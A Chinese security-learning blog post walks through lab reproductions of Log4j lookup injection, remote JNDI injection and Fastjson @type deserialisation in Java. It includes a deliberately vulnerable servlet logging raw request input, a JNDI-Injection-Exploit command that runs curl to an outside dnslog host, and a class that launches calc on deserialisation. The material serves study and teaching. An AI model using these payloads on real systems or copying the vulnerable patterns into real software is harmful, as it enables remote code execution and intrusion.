安全 安全开发 第36天:安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入 Yatming的博客 2025-09-12 2025-08-05 Maven配置:https://www.jb51.net/article/259780.htm
Log4jTest.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class Log4jTest { private static final Logger logger = LogManager.getLogger(Log4jTest.class); public static void main (String[] args) { String code="${java:os}" ; logger.error("{}" ,code); } }
Log4j 在输出日志时,会先解析消息模板和参数。当发现参数中包含 ${...}
格式的字符串时,会触发内置的查找机制 ,将 ${java:os}
替换为实际的操作系统信息
Log4jServlet.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package com.example.log4jwebdemo;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;@WebServlet("/log4j") public class Log4jServlet extends HttpServlet { private static final Logger log= LogManager.getLogger(Log4jServlet.class); @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String code = req.getParameter("code" ); log.error("{}" ,code); } }
访问url:http://localhost:8080/Log4jWebDemo_war/log4j?code=${java:os}
上面这种是正常情况,如果遇到下面这种情况的话:
需要修改tomcat的server.xml
配置文件。
1 2 3 4 5 6 7 <Connector port="8080" protocol="HTTP/1.1" connectionTimeout="30000" maxThreads="800" minSpareThreads="50" redirectPort="8443" URIEncoding="ISO-8859-1" relaxedQueryChars="[,],|,{,},^,\,`,",<,>"/>
将connector这个配置修改成这个,然后重启tomcat服务器就行。
远程JNDI注入 Log4jweb.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package com.example.log4jwebdemo;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;@WebServlet("/log4j") public class Log4jServlet extends HttpServlet { private static final Logger log= LogManager.getLogger(Log4jServlet.class); @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String code = req.getParameter("code" ); log.error("{}" ,code); } }
github:https://github.com/welk1n/JNDI-Injection-Exploit
1 2 3 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl http://zum02g.dnslog.cn" -A 10.20.0.92 这里的ip地址是你远程服务器的地址。
注意使用版本jdk必须小于jdk8u 121,本人使用我的是202所以没有复现成功,计算机没弹出来,dnslog也没有解析成功。
这里用视频中的截图替代一下:
Fastjson.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package com.xiaodi;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.serializer.SerializerFeature;public class FastjsonTest { public static void main (String[] args) { User u = new User (); u.setAge(30 ); u.setName("xiaodi" ); String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}" ; JSONObject jsonObject = JSON.parseObject(test); System.out.println(jsonObject); } }
Run.java 1 2 3 4 5 6 7 8 9 10 package com.xiaodi;import java.io.IOException;public class Run { public Run () throws IOException { Runtime.getRuntime().exec("calc" ); } }